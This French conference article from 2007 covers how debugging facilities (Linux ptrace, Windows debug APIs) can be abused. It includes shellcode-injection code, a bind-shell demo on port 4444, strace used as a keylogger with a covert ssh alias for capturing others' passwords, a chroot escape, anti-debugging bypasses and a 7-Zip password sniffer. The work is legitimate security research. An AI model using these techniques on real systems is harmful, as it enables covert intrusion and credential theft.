Malicious debugger !

Fred Raynal & Jean-Baptiste Bedrune
Sogeti IS / ESEC

14 mai 2007

Résumé

Pourquoi *debugger* des programmes ? En général, on se lance dans ces opérations quand on est développeur et qu'on recherche la cause d'un plantage dans son programme. Alors, pourquoi se préoccuper de debuggage quand on traite de sécurité ? Simplement parce que quiconque sait debugger peut faire quasiment tout sur un système d'exploitation. En effet, cela demande de toucher au coeur même du système, et donc de connaître tous ses principes de fonctionnement.

Dans cet article, nous présentons les méthodes classiques de debuggage sous Linux et Windows, puis nous développons quelques exemples de ce qu'il est possible de faire grâce à cela.

Table des matières

1 Introduction

Avant de nous lancer dans le debuggage à proprement parler, revenons sur quelques notions fondamentales liées aux systèmes d'exploitation (*Operating System* ou OS).

La première notion importante est celle de *processus*. Il s'agit d'un environnement d'exécution, composé de données et d'instructions agissant sur ces données. Un processus n'existe qu'en mémoire. Il est crée par le noyau du système, souvent en chargeant un programme depuis un support physique (comme un disque dur). Le rôle du noyau est alors de lire le fichier, et de le copier en mémoire, en l'adaptant, pour ensuite lui passer la main.

Cela nous conduit à la deuxième notion importante, celle de *mémoire*. Il faut distinguer la mémoire physique (les barrettes de RAM) de la représentation qu'a un processus de la mémoire (dite *mémoire virtuelle*). Grâce à des mécanismes[1] qui sortent du cadre de cet article, un processus sur une architecture n bits a l'impression de disposer de 2^n adresses. En fait, ces adresses sont structurées différemment selon les OS, le format du binaire et quelques autres facteurs. Malgré les apparences, ces mécanismes permettent de faire des optimisations très efficaces en mémoire. Si on prend le cas d'une bibliothèque utilisée par plusieurs processus, chacun aura l'impression de l'avoir à lui . . .et ce sera le cas d'une certaine manière, en fonction de la mémoire considérée. En mémoire virtuelle, propre à chaque processus, cette bibliothèque sera chargée dans l'espace mémoire du processus (l'adresse pourra d'ailleurs différer entre les processus). Néanmoins, en mémoire physique, la bibliothèque ne sera présente qu'une fois : la pagination et la segmentation font en sorte que des adresses virtuelles différentes pointent vers les mêmes adresses physiques. Ainsi, la bibliothèque est partagée par tous les processus qui s'y réfèrent, mais ils ne s'en rendent pas compte, ce qui permet de préserver de la RAM.

Néanmoins la mémoire n'est pas occupée que par des processus. En fait, tels que nous les avons décrits, nous avons omis jusqu'à présent une partie qui est aussi partagée par tous les processus : le noyau. Le noyau d'un OS est un programme chargé de gérer le matériel, l'allocation de la mémoire physique, l'organisation de la mémoire virtuelle, l'ordonnancement des tâches et de nombreux autres aspects essentiels au bon fonctionnement du système. Du fait de la criticité des tâches qui sont les siennes, le noyau est un composant très sensible, et la moindre erreur conduit généralement à un crash complet. Pour le protéger l'architecture x86 prévoit différents niveaux d'exécution, appelés *ring* : le ring 0 correspond au maximum de privilèges (*i.e.* le noyau), et le ring 3 au minimum (pour les processus, dits *processus utilisateurs* dont nous avons parlé).

Maintenant qu'un processus utilisateur est en mémoire d'où il s'exécute, on souhaite examiner les opérations qu'il réalise ou les données qu'il manipule : c'est là qu'intervient le debuggage. En réalité, les capacités de debuggage ne dépendent pas de l'OS, mais de l'architecture sous-jacente. Pratiquement, on trouve deux fonctionnalités communes à toutes les architectures :

1. le mode pas-à-pas (*single step*) : dans ce mode, le processeur n'exécute qu'une instruction, puis s'arrête tant qu'on ne lui dit pas d'exécuter la suivante ;
2. les points d'arrêt (*breakpoint*) (bp) : parfois, on ne souhaite pas exécuter un processus en mode pas-à-pas pour se concentrer sur une partie du code. Pour cela, on place un point d'arrêt dans le programme à l'adresse souhaitée. Le processeur exécute toutes les instructions, jusqu'à tomber sur le bp, et là, il s'arrête, comme en mode pas-à-pas.

[1] La pagination et la segmentation ne seront pas détaillées ici. De même, nous ne traitons pas le cas des OS embarqués pour lesquels l'organisation de la mémoire diffère également.

Il existe 2 types de points d'arrêt : logiciels ou matériels. Les bp logiciels sont représentés par l'instruction `int 3` (`\xCC` . Quand on souhaite en placer un dans un programme, on écrit l'opcode `\xCC` à l'adresse voulue, puis le processeur lève une exception indiquant qu'il vient de rencontrer le bp quand il exécute l'instruction. Pour cette raison, on peut en placer autant qu'on veut dans un processus. Inversement, les bp matériels sont limités (4 sur les processeurs IA_32) car ils sont liés à des registres, dits *registres de debug* qui contiennent l'adresse à surveiller.

Tous les debuggers s'appuient sur ces deux fonctionnalités. Ce qui les différenciera sera la manière de les gérer, et donc la manière dont les OS les supportent. Dans cet article, nous montrons les techniques de debuggage disponibles sur les OS Linux et MS Windows, en architecture x86. Nous nous restreignons au debuggage en espace utilisateur (ring 3), mais nous verrons que cela permet déjà de faire beaucoup de choses.

2 Le debuggage sous Linux

Une des grandes forces des systèmes UNIX est d'offrir une forte compatibilité malgré la diversité des systèmes. Cela se vérifie également en matière de debuggage puisqu'une fonction unique centralise cela :

```
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
```

Le prototype est assez explicite :
- `request` spécifie l'opération à effectuer ;
- `pid` indique le processus cible ;
- les 2 derniers arguments dépendent de la requête, `addr` indiquant l'adresse à traiter, et `data` des données en entrée ou sortie.

En revanche, et contrairement à une idée repandue, les versions de `ptrace()` ne sont pas toutes équivalentes, loin de là. Par exemple, les capacités de debuggage sous Mac OS X avec `ptrace()` sont très pauvres, l'effort étant porté sur les capacités tirées du noyau Mach. Inversement, la version Linux de `ptrace()` est extrêmement puissante et donne un contrôle complet sur le processus debbuggé.

Voyons les possibilités offertes par cette fonction.

2.1 Comment ça marche ?

Le principe est toujours le même :
- le processus s'attache au processus qu'il veut debugger ;
- il effectue les opérations de son choix : accès aux registres ou à la mémoire, etc.
- le processus se détache ou tue le processus debuggé.

On résume ainsi la trame d'un programme reposant sur `ptrace`

```
int main(int argc, char **argv)
{
    pid_t pid;

    ptrace(PTRACE_ATTACH, pid, NULL, NULL);

    /* Do some stuff ... */

    ptrace(PTRACE_DETACH, pid, NULL, NULL);
}
```

S'attacher à un processus demande d'avoir les privilèges nécessaires. En effet, comme nous le verrons, pouvoir debugger donne un accès complet à la mémoire du processus cible. Par conséquent, un utilisateur ne peut debugger que les processus

qui lui appartiennent . . .et encore. Il est évident qu'un utilisateur ne doit pas pouvoir debugger un processus qui appartient à un autre utilisateur, et à plus forte raison à root. De même, les processus issus de fichiers SetUID/SetGID ne sont pas debuggables. En effet, même s'ils abaissent leurs privilèges en cours d'exécution, ces processus sont lancés en tant que propriétaires du fichier (root par exemple). C'est pour ça qu'on ne peut pas debugger la commande `ping` :

```
>> gdb -q /bin/ping
(no debugging symbols found)
Using host libthread_db library "/lib/i686/cmov/libthread_db.so.1".
(gdb) r google.fr
ping: icmp open socket: Operation not permitted

Program exited with code 02.
```

L'objet n'est pas ici de détailler toutes les requêtes. Pour cela, mieux vaut se reporter directement à la documentation officielle propre à chaque système. Citons entre autres les opérations suivantes :

- l'accès complet à la mémoire, en lecture (`PRACE_PEEKTEXT` ou `PRACE_PEEKDATA`[2]) ou en écriture (`PRACE_PEEKTEXT` ou `PRACE_PEEKDATA`) ;
- l'accès aux registres généraux en lecture/écriture `PTRACE_{G,S}ETREGS` et plus généralement à tous les registres, y compris ceux de segments `PTRACE_{G,S}ETUSR` ;
- le contrôle du flux d'exécution, par exemple en passant en mode pas-à-pas `PTRACE_SINGLESTEP` on en reprenant le cours de son exécution `PTRACE_CONT`.

Quand on regarde sous le capot, `ptrace()` s'appuie sur le mode pas-à-pas et le système de points d'arrêt. La gestion de ces mécanismes est réalisée par l'intermédiaire des signaux : à chaque fois que le processeur s'arrête, le noyau traite l'interruption en envoyant un signal `SIGTRAP` au processus debugger, qui peut alors effectuer les opérations de son choix.

Au travers de quelques exemples, nous présentons ci-après quelques unes des multiples possibilités offertes par `ptrace()`.

2.2 Injection mémoire

Les mécanismes d'injection en mémoire sont souvent utilisés par les codes malicieux pour contourner la politique de sécurité mise en place sur un poste de travail. L'exemple le plus caractéristique est celui des pare-feux personnels. En général, ces logiciels interdisent l'accès au net à certaines applications. Cependant, le navigateur par défaut est toujours autorisé à accéder au net. Le code malicieux va alors s'injecter dans la mémoire de ce processus avant de reprendre sa propagation, avec des permissions équivalentes à celle du navigateur.

Lorsqu'on modifie la mémoire d'un processus, il y a de nombreuses questions à se poser. Souhaite-t-on détruire le processus, ou au contraire, le préserver au maximum ? Comment est organisé son espace mémoire, et quels sont mes droits ? . . .

Dans l'exemple qui suit, nous nous contentons de remplacer le code d'un processus par un autre[3]. Pour cela, on injecte dans l'espace mémoire du processus un *shellcode*, puis on modifie le pointeur d'instructions `eip` pour lui demander d'exécuter le code fraîchement injecté.

Les étapes sont les suivantes (cf. le code complet en annexe A page 17) :

1. on s'attache au processus cible ;
2. on récupère les registres ;

[2] Comme il n'y a pas de différence entre les segments de données et les segment de code, ces deux instructions sont équivalentes.

[3] C'est ce même principe qui est utilisé lorsqu'on exploite une faille dans une application.

3. on recopie le shellcode dans la pile ;
4. on modifie le pointeur d'instruction vers le shellcode ;
5. on se détache.

Revenons sur les détails de ces opérations. L'accès aux registres se fait simplement par la requête `PTRACE_GETREGS`. Ils sont recopiés par le noyau dans une structure de type `user_regs_struct`. Ensuite, la recopie du shellcode en mémoire demande plus d'attention. En effet, `ptrace()` ne sait manipuler que des entiers. On ne peut donc pas mettre d'un coup tout le shellcode en mémoire, mais on doit passer par une boucle qui le recopie par blocs de 4 octets. Il s'agit maintenant de remettre le registre `eip` à l'adresse à laquelle on vient d'écrire le shellcode.

Néanmoins, avant cela, une vérification s'impose. En effet, il se peut que le processus ait été interrompu par le `ptrace(PTRACE_ATTACH)` alors qu'il exécute un appel système. Dans ce cas, le noyau décide de remettre l'exécution à l'endroit où elle a été interrompue, c'est-à-dire l'appel système. Sous Linux pour x86, un appel système est déclenché par l'instruction `int 0x80`, codée sur 2 octets. Avant de rendre la main au processus, le noyau modifie donc le registre `eip`, en lui ôtant 2. Or, nous ne souhaitons pas que l'exécution reprenne là où ne se trouve pas notre shellcode, mais bien au début de celui-ci : il nous faut compenser cela, en ajoutant nous-mêmes 2 à `eip`. Ainsi, selon les cas, la variable `eip_offset` ci-après vaudra 0 ou 2 :

```
/* Récupération des registres */
ptrace(PTRACE_GETREGS, pid, NULL, &regs);

/* Recopie du shellcode */
start = regs.esp-offset;
for (i=0; i < strlen(code); i+=4) {
    ptrace(PTRACE_POKEDATA, pid, start+i, *(int *)(code+i));

/* On place eip au début du shellcode, à 2 octets près */
regs.eip = start + eip_offset;
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
```

La détection de l'interruption d'un appel système ne fonctionne pas toujours très bien pour des raisons inexpliquées. En fait, sur les noyaux récents, ce n'est plus l'instruction `int 0x80` qui est employée, mais un mécanisme de *fastcall* avec l'instruction `sysenter`. Néanmoins, tout comme avec les appels système classiques, la reprise du fastcall est prévue en cas d'interruption. Malheureusement, alors que la détection de l'interruption d'un appel système classique fonctionne très bien, ce n'est pas le cas encore pour les fastcalls sur tous les noyaux. En conséquence, pour avoir une solution qui fonctionne à tous les coups, l'idéal est de placer 2 instructions `nop` (*n*o operation) au début du code injecté, et de modifier `eip` en ajoutant 2 octets :

- si le noyau ajuste `eip`, il lui retire 2, et il se retrouve sur les `nop` ;
- si le noyau ne touche pas à `eip`, il pointe sur le début du shellcode.

Regardons maintenant ce que ça donne. Commençons par transformer une calculatrice en démon écoutant sur un port (on utilise le programme donné en annexe A page 17).

On lance la calculatrice, puis on injecte notre shellcode. Le shellcode, généré à partir de metasploit, se met en écoute sur le port 4444, et lance un shell lorsqu'on s'y connecte :

```
>> xcalc&
[1] 14657
>> ./inj -b -o 256 ‘pidof xcalc‘
```

Une fois le code injecté, on constate bien que notre calculatrice écoute sur le port 4444, et qu'on peut s'y connecter :

```
>> netstat -ntlp|grep 4444
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      14657/xcalc
>> nc -nvv 127.0.0.1 4444
(UNKNOWN) [127.0.0.1] 4444 (?) open
uname -a
Linux batgirl 2.6.18-4-686 #1 SMP Mon Mar 26 17:17:36 UTC 2007 i686 GNU/Linux
```

2.3 Un keylogger à 0.2 €

Il est une commande fort pratique sous Linux, une sorte de couteau suisse à utiliser dès que quelque chose ne fonctionne pas : `strace`. Cette commande intercepte les appels système. Nous ne détaillerons pas son fonctionnement, le lecteur curieux est renvoyé vers la documentation.

Il est possible de détourner `strace` de son utilisation initiale pour en faire un excellent *keylogger*. Pour cela, on va demander à `strace` de n'intercepter que les lectures et écritures (le `-e`), de suivre les processus fils (le `-f`), et de s'attacher au processus 9362 (le `-p`), un shell en l'occurrence :

```
>> strace -f -e read,write -p 9362
```

Dorénavant, tout ce qui est tapé dans le shell apparaît, comme la commande `uname -a` et le résultat ci-après :

```
read(0, "u", 1)                         = 1
write(2, "u", 1)                        = 1
read(0, "n", 1)                         = 1
write(2, "n", 1)                        = 1
read(0, "a", 1)                         = 1
write(2, "a", 1)                        = 1
read(0, "m", 1)                         = 1
write(2, "m", 1)                        = 1
read(0, "e", 1)                         = 1
write(2, "e", 1)                        = 1
read(0, " ", 1)                         = 1
write(2, " ", 1)                        = 1
read(0, "-", 1)                         = 1
write(2, "-", 1)                        = 1
read(0, "a", 1)                         = 1
write(2, "a", 1)                        = 1
read(0, "\r", 1)                        = 1
write(2, "\n", 1)                       = 1
Process 15125 attached
Process 9362 suspended
[pid 15125] write(1, "Linux batgirl 2.6.18-4-686 #1 SM"..., 78) = 78
Process 9362 resumed
Process 15125 detached
--- SIGCHLD (Child exited) @ 0 (0) ---
write(1, "\33]0;raynal@batgirl: ~\7", 22) = 22
write(2, "raynal@batgirl:~>> ", 19)      = 19
```

En utilisant cette commande, il est alors possible de récupérer les mots de passe entrés via un navigateur sur un site web protégé, un client ssh, une pass-phrase pour PGP ou IPSec, au choix.

Ainsi, il est possible de prêter son ordinateur à des *amis* pour leur permettre de se connecter à leur webmail ou à leur machine distante, tout en récupérant les mots de passe par exemple :

```
>> alias ssh='strace -f -o /tmp/ssh.$$ -e read,write,connect ssh'
```

Ensuite, il ne nous reste plus qu'à consulter le fichier résultat :

```
connect(3, sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("192.168.0.66"), 16) = 0
write(5, "raynal@batmanś password: ", 26) = 26
read(5, "t", 1)                   = 1
read(5, "o", 1)                   = 1
read(5, "t", 1)                   = 1
read(5, "o", 1)                   = 1
```

2.4 Sortir de chroot, une prison de verre

Bien souvent, on lit dans les guides de sécurisation des systèmes que `chroot` est une prison : c'est FAUX ! À la base, cette commande est simplement prévue pour changer la racine de l'espace de nommage d'un processus, et en aucun cas pour faire de la sécurité. Dès lors, il existe de nombreux moyens de sortir de cette soi-disant prison. Ainsi, un processus peut envoyer des signaux en dehors d'une zone chrootée.

Si un processus chrooté a une faille, l'exploitation demande un peu de douceur, mais l'attaquant avisé pourra sortir du `chroot`. Pour cela, le shellcode injecté fera tout le travail. Prenons par exemple le programme en annexe A que nous avons utilisé précédemment, et transformons le en shellcode (ce qui donnera donc un shellcode qui contient un shellcode), et nous pourrons alors aisément sortir de la prison. La seule différence par rapport au programme est qu'il faut ajouter une boucle destinée à trouver un processus dans lequel on peut écrire, ce qui se traduit en C par :

```
pid_t pid;

for (pid=100; pid<32000; pid++)
  if ( ptrace(PTRACE_ATTACH, pid, NULL, NULL) != -1 )
    /* On a un processus dans lequel on peut écrire */
    break;

ptrace(PTRACE_GETREGS, pid, NULL, &regs);
...
```

Rappelons que, s'il faut être root pour créer un `chroot`, les processus qui tournent dedans et notre injection n'ont pas cette exigence (l'injection ne pourra se faire dans des processus appartenant au même utilisateur).

Pour notre test, on recompile notre exploit en statique, *i.e.* il ne dépend d'aucune bibliothèque. Ensuite, on le lance depuis un environnement chrooté pour injecter shellcode dans une calculatrice (dont on connaît le PID) :

```
>> gcc --static -g -o inj inj.c
>> pwd /home/raynal/src/syringe
>> sudo  chroot  . ./inj -b -o 512 16478
...
Setting eip at 0xbf90cc68
injection done
```

Il est nécessaire de lancer la commande `chroot` en tant que root, mais notre programme n'a pas besoin d'autant de privilèges pour fonctionner. Comme précédemment, on a un shell en écoute sur le port 4444, un shell qui peut accéder à tout le système :

```
>> nc -nvv 127.0.0.1 4444
(UNKNOWN) [127.0.0.1] 4444 (?) open
id
uid=1000(raynal) gid=1000(raynal)
ls -l pass* sha*
-rw-r--r-- 1 root root   1240 Apr 23 12:06 passwd
-rw------- 1 root root   1195 Feb 13 09:16 passwd-
```

```
-rw-r----- 1 root shadow 1018 Apr 23 12:06 shadow
-rw------- 1 root root    955 Mar  6 14:55 shadow-
cat shadow
cat: shadow: Permission denied
```

Qui a prétendu que `chroot` était conçu pour faire de la sécurité ?

2.5 Se protéger

En tant que tel, `ptrace` n'est ni bon, ni mauvais. Il s'avère juste pratique, autant pour le développeur ou l'administrateur qui cherche à comprendre le pourquoi d'une erreur qu'à un éventuel petit rigolo. Alors pourquoi et comment se protéger de `ptrace()` ? En fait, tous les systèmes ont des capacités de debuggage, et le risque est le même partout. Ceci dit, quelle en est l'utilité sur un serveur web ou une base de données ?

2.5.1 Bloquer `ptrace()` avec `ptrace()`

Pour s'affranchir de `ptrace()`, la première solution est de s'en débarrasser dans le noyau. Cela est lourd (voire extrémiste) et demande de modifier son noyau puis de le recompiler. Un compromis raisonnable est fourni par le patch noyau GrSecurity qui impose de fortes restrictions à `ptrace()`, et renforce les contraintes dans un `chroot`.

Néanmoins, ces approches concernent tout le système alors que parfois on souhaite simplement protéger un processus. Que les choses soient claires tout de suite : quelqu'un qui veut accéder à l'espace mémoire d'un processus le pourra, avec ou sans `ptrace()`. On peut toutefois lui compliquer beaucoup la vie. Ainsi, la première chose à faire pour empêcher un processus d'être debuggué est qu'il se debuggue lui-même. En effet, sous Linux, un processus ne peut être debuggué qu'une fois[4] Pour cela, on appelle `ptrace` de la manière suivante :

```
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
```

Si on lance notre calculette au travers d'un `strace` vu précédemment, puis qu'on tente d'y injecter un shellcode, l'opération échoue :

```
>>  strace xcalc &
>> ./inj -b -o 512 16666
ptrace attach: Operation not permitted
```

Cette ruse permet accessoirement de détecter les processus qui sont éventuellement debuggés, comme les navigateurs ou clients ssh espionnés.

Retirer cette protection n'est pas compliqué si on a accès au binaire. Illustrons cela de deux manières. Tout d'abord, on peut éditer le binaire pour remplacer les appels à `ptrace()` par des `nop`. Ce qui nous donne une première leçon : utiliser `PTRACE_TRACEME` nécessite de prévoir également des tests d'intégrité dans le binaire pour s'assurer qu'il n'est pas modifié. L'autre solution, si le binaire est dynamique, consiste à écrire une petite bibliothèque qui contient juste la fonction `ptrace()` et à la charger avant la libc via la variable d'environnement `LD_PRELOAD`. Prenons un petit exemple :

```
/* noptrace.c */

main() {
    if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
        fprintf(stderr, "Debugger detected !\n");
        exit(EXIT_FAILURE);
```

[4] Cela vient de ce que le processus debugger devient le père du processus debuggué, et qu'un processus ne peut avoir qu'un père.

```
    }
    printf("Ok\n");
}
```

Si ce code est appelé en étant debuggé, l'appel `ptrace(PTRACE_TRACEME)` le détectera, et provoquera l'arrêt du code.

Comme expliqué précédemment, une première option pour outrepasser cette vérification consiste à remplacer l'appel dans le binaire :

```
>> objdump -S -d -j .text noptrace
...
8048444:       e8 d7 fe ff ff          call   8048320 <ptrace@plt>
8048449:       85 c0                   test   %eax,%eax
804844b:       79 31                   jns    804847e <main+0x6a>
...
```

On doit prendre garde au code qu'on remplace. Ici, on constate que suite à l'appel de `ptrace()`, un test est fait sur le registre `eax` pour contrôler la valeur de retour de la fonction. Afin de passer le test, nous mettons donc ce registre à 0. Ainsi, nous substituons aux 5 octets occupés par l'appel à `ptrace()` les instructions suivantes :

```
0x90      nop
0x90      nop
0x90      nop
0x33 0xC0 xor eax, eax
```

On effectue ces opérations directement dans le debugger :

```
>> gdb -q noptrace
(gdb) b main
Breakpoint 1 at 0x8048425: file noptrace.c, line 8.
(gdb) r
Breakpoint 1, main () at noptrace.c:8
8           if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
(gdb) set *0x8048444=0x33909090
(gdb) set *0x8048448=0x79c085c0
0x8048444 <main+48>:  0x90  0x90  0x90  0x33  0xc0  0x85  0xc0  0x79
(gdb) disass main
0x0804843d <main+41>:   movl   $0x0,(%esp)
0x08048444 <main+48>:   nop
0x08048445 <main+49>:   nop
0x08048446 <main+50>:   nop
0x08048447 <main+51>:   xor    %eax,%eax
0x08048449 <main+53>:   test   %eax,%eax
(gdb) c
Continuing.
Ok
Program exited with code 03.
```

Le programme a continué en étant exécuté dans le debugger, comme prévu. Il est à noter que cette solution fonctionne bien sur cet exemple car il n'y a qu'un test à modifier. Cependant, quand une multitude de tests est disséminée dans le binaire, mieux vaut opter pour la solution à base de bibliothèque dynamique. On crée rapidement la bibliothèque :

```
/* ptrace.c */

long ptrace(int request, pid_t pid, void *addr, void *data)
```

```
{
    fprintf(stderr, "ptrace(req=%d, pid=%d, addr=0x%08x, data=0x%08x\n",
            request, pid, addr, data);

    return 0;
}
```

Il s'agit de charger cette bibliothèque dans l'espace mémoire du processus, de sorte à ce que les appels à `ptrace()` soient interceptés :

```
>> gcc -shared -o ptrace.so ptrace.c
(gdb) set environment LD_PRELOAD ./ptrace.so
ptrace(req=0, pid=0, addr=0x00000000, data=0x00000000
Ok
Program exited with code 03.
```

L'appel est bien intercepté : les paramètres sont affichés, et l'exécution continue comme si de rien n'était.

2.5.2 Bloquer `ptrace()` avec les signaux

Le lien entre le processus debuggé et son debugger passe par l'envoi de signaux, en particulier `SIGTRAP`. La détection s'appuie sur le gestionnaire de ce signal, ajouté volontairement au programme qu'on souhaite protéger :

```
int debug = 1;

void sigtrap(int sig)
{
    printf("Sigtrap received :)\n");
    debug = 0;
}

main(int argc, char **argv)
{
    signal(SIGTRAP, sigtrap);
    asm("int3");

    if (debug) {
        fprintf(stderr, "Debug is forbidden\n");
        exit(EXIT_FAILURE);
    }

    printf("Very secret code executed\n");
    return 0;
}
```

Dans le code précédent, les instructions protégées ne sont exécutées que si le signal `SIGTRAP` est bien géré par le programme lui-même :

```
>> ./sigtrap
Sigtrap received :)
Very secret code executed
```

En revanche, quand on exécute ce code dans un debugger, il intercepte le signal `SIGTRAP`, croyant qu'il s'agit d'un point d'arrêt :

```
>> gdb ./sigtrap
(gdb) r
Program received signal SIGTRAP, Trace/breakpoint trap.
main () at sigtrap.c:18
18          if (debug) {
(gdb) c
Continuing.
Debug is forbidden
Program exited with code 01.
```

Là encore, il n'est pas compliqué de s'affranchir de cette protection. La solution la plus facile consiste à transférer le signal du debugger vers le processus :

```
>> gdb ./sigtrap
(gdb) r
Program received signal SIGTRAP, Trace/breakpoint trap.
main () at sigtrap.c:18
18          if (debug) {
(gdb) signal SIGTRAP
Continuing with signal SIGTRAP.
Sigtrap received :)
Very secret code executed
Program exited normally.
```

Il est aussi possible de modifier le binaire, par exemple en modifiant le gestionnaire de signal pour lui faire croire qu'il doit traiter `SIGUSR1` à la place de `SIGTRAP`. Il faut aussi penser à rechercher les `int3` (`0xCC`) et les remplacer par des `nop` (`0x90`).

3 Le debuggage sous Windows

Windows contient des fonctions de debuggage offrant des possibilités équivalentes à `ptrace` sous Linux. Contrairement aux systèmes UNIX, plusieurs fonctions sont disponibles, et ont des noms assez explicites. Alors que les possibilités de debuggage sous UNIX sont regroupés dans une seule fonction, Windows en propose 17. En plus de cela, une bibliothèque supplémentaire, `DbgHelp`, permet de manipuler les symboles de debuggage s'ils sont présents dans l'exécutable ou dans un fichier annexe. Cette bibliothèque est utilisée généralement à des fins "'classiques" : elle permet de debugger plus facilement ses programmes ou ceux dont les symboles sont disponibles. Les fonctions de cette bibliothèque n'étant pas (ou peu) utilisable d'un point d'un point de vue malicieux, elles ne seront pas traitées ici.

3.1 Comment ça marche ?

Le proncipe est globalement le même que sous UNIX :

- le processus s'attache à un processus existant, via `DebugActiveProcess`, ou lance un processus en s'octroyant les droits de debug avec `CreateProcess`.
- le processus effectue les opérations désirées : lecture / écriture de la mémoire avec `ReadProcessMemory` ou `WriteProcessMemory`, lecture / écriture des registres avec `GetThreadContext` et `SetThreadContext`, et attente des notifications avec `WaitForDebugEvent`.
- le processus se détache avec `DebugActiveProcessStop`, ou termine sans se détacher.

Un processus peut débugger un autre processus uniquement s'il a tous les droits sur celui-ci. Un processus qui a le privilège `SE_DEBUG_NAME` a le droit de debugger n'importe quel processus. Il l'obtient en appelant `AdjustTokenPrivileges`. S'il peut s'attacher, la structure du code du debugger est toujours la même : celui-ci se met en attente d'une notification du processus. Quand un événement se produit, le système bloque tous les threads du processus et envoie la notification au debugger, qui traite l'événement et reprend l'exécution du programme. Les événements peuvent être entre autres :

- la création d'un processus. C'est le premier message reçu par le debugger lorsqu'il est attaché à un processus ;
- la levée d'une exception. La plupart des types d'exceptions utilisées pour réellement analyser les problèmes d'un programme (division par zéro, etc.) ne sont pas intéressants ici : on se concentre plutôt sur les points d'arrêt quand

on veut s'arrêter à une adresse particulière, ou sur les exceptions *single step* quand on cherche à tracer l'exécution d'une routine ;
- la destruction d'un processus, quand le processus débuggé termine.

Le code d'un debugger très simple serait :

```
int BasicDebugger(DWORD dwProcessId)
{
  DEBUG_EVENT db;
  BOOL bDebug = TRUE;
  DWORD dwContinueStatus = DBG_CONTINUE;

  // S'attache à un autre processus
  DebugActiveProcess(dwProcessId)

  // Boucle d'attente des événements
  while(WaitForDebugEvent(&db, INFINITE) && bDebug)
  {
    static HANDLE hThread = NULL;
    static HANDLE hProcess = NULL;

    switch(db.dwDebugEventCode)
    {
    case CREATE_PROCESS_DEBUG_EVENT:
      // Création d'un processus. On sauvegarde le handle du processus
      // et celui du thread principal.
      hThread = db.u.CreateProcessInfo.hThread;
      hProcess = db.u.CreateProcessInfo.hProcess;
      ...
      break;

    case EXCEPTION_DEBUG_EVENT:
      if(db.u.Exception.ExceptionRecord.ExceptionCode == EXCEPTION_BREAKPOINT)
      {
        // Routine à exécuter lors d'un point d'arrêt logiciel
      }
      ...
      break;
    }
    ContinueDebugEvent(db.dwProcessId, db.dwThreadId, dwContinueStatus);
  }
  DebugActiveProcessStop(dwProcessId);
}
```

3.2 Injection mémoire

L'injection de code sous Windows peut se faire de la même manière que sous UNIX. Néanmoins, il existe une méthode plus simple : au lieu d'injecter une portion de code, on injecte un thread dans le processus. Cette méthode est utilisée par de nombreux codes malicieux (vers, virus, etc.) et est donc détectée par la majorité des antivirus du marché. Elle n'utilise pas de fonctions de débogage ; mais pourquoi faire comme sous UNIX si on peut faire plus simple ?

Un thread peut être lancé dans un autre processus *via* `CreateRemoteThread`. Il faut spécifier l'adresse de départ du thread, qui doit se situer dans l'espace d'adressage du processus. On doit donc tout d'abord copier la fonction à exécuter dans le processus, avec `WriteProcessMemory`. Vient ensuite un problème : l'appel de fonctions externes. Comment appeler des fonctions externes (API Win32, entre autres) ? Si ces fonctions sont présentes dans la table d'imports du processus, on parcourt la table d'imports du processus en mémoire, et on récupère l'adresse des fonctions. Cette méthode est un peu ardue. Le plus simple est de lier dynamiquement les fonctions : on charge une DLL avec `LoadLibrary` et on récupère l'adresse d'une de ses fonctions avec `GetProcAddress`. On est alors en mesure appeler n'importe quelle fonction exportée par une bibliothèque.

Reste encore un problème : comment connaître l'adresse de ces deux fonctions ? Ces fonctions sont exportées par `kernel32.dll`, qui est toujours mappé à la même adresse sur un système, quel que soit le processus. L'adresse des fonctions de `kernel32.dll` sera donc toujours la même, quel que soit le processus. On passe donc

ces adresses au thread sous forme d'arguments. Ces arguments doivent être dans l'espace d'adressage du processus distant. Il faut donc les copier dans une zone de mémoire allouée dans le processus, et tout marche.

Deux petites remarques :

1. les chaînes de caractères utilisées dans le thread sont déclarées comme des tableaux de `chars` ('a', 'b'... et pas "ab...") afin d'être stockées dans la pile. Dans le cas constraire elles sont stockées dans la section `.data` du processus qui va injecter le code, section qui n'est pas lisible par le processus où va être injecté le code ;
2. il faut de plus supprimer les instructions de vérification de la pile ("'security cookie check"'), chargées de détecter les vérifications de tampon via deux appels en début et fin de fonction, car celles-ci utilisent également une variable de la section `.data`, qui n'est pas lisible par le thread.

Le code de l'injection est disponible en annexe B page 18.

3.3 Vol de mots de passe

Étudions maintenant le cas d'un spyware récupérant les mots de passe entrés par les utilisateurs. Généralement, ceux-ci peuvent décoder ou déchiffrer les mots de passe qui sont enregistrés dans la base de registres ou dans des fichiers de configuration. D'autres applications, comme les archiveurs, ne stockent pas les mots de passe. Dans le cas des archiveurs, ils sont utilisés pour chiffrer les fichiers compressés, et il devient impossible dans la plupart des cas de retrouver le mot de passe à partir d'une archive chiffrée. Les fonctionnalités de debuggage permettent de récupérer ces mots de passe lorsqu'ils sont tapés par les utilisateurs.

7-Zip est un archiveur offrant une très bonne compression, et permet de chiffrer ses documents avec AES-256. Sans connaître le mot de passe il est impossible de lire les fichiers compressés. Le mot de passe est rentré dans une boite de dialogue. L'application récupère le mot de passe et, après une rapide étude du programme on s'aperçoit que le mot de passe est visible en mémoire quand l'application est à l'adresse `0x401C61` (7-Zip 4.45 Beta). Le mot de passe se trouve alors à l'adresse pointée par edi, au format UNICODE.

On *sniffe* ce mot de passe à l'aide d'un debugger. La méthode est très basique :

1. on cherche la fenêtre de 7-Zip pour récupérer le `pid` du processus ;
2. on s'attache à 7-zip ;
3. on pose un point d'arrêt à l'adresse `0x401C61` et on attend que l'utilisateur entre un mot de passe ;
4. une fois le mot de passe entré, le debugger prend la main. On lit la valeur de `edi`, puis le tableau d'octets stockés à cette adresse : c'est le mot de passe ;
5. on restaure le code original (avant la pose du point d'arrêt) et on reprend l'exécution du programme comme si de rien n'était.

Il est à noter que depuis Windows XP, le debugger peut se détacher d'un processus sans fermer celui-ci, via `DebugSetProcessKillOnExit()`. Notre programme espion pourra donc se fermer une fois que le mot de passe aura été enregistré. Le code du programme est disponible en annexe C page 20.

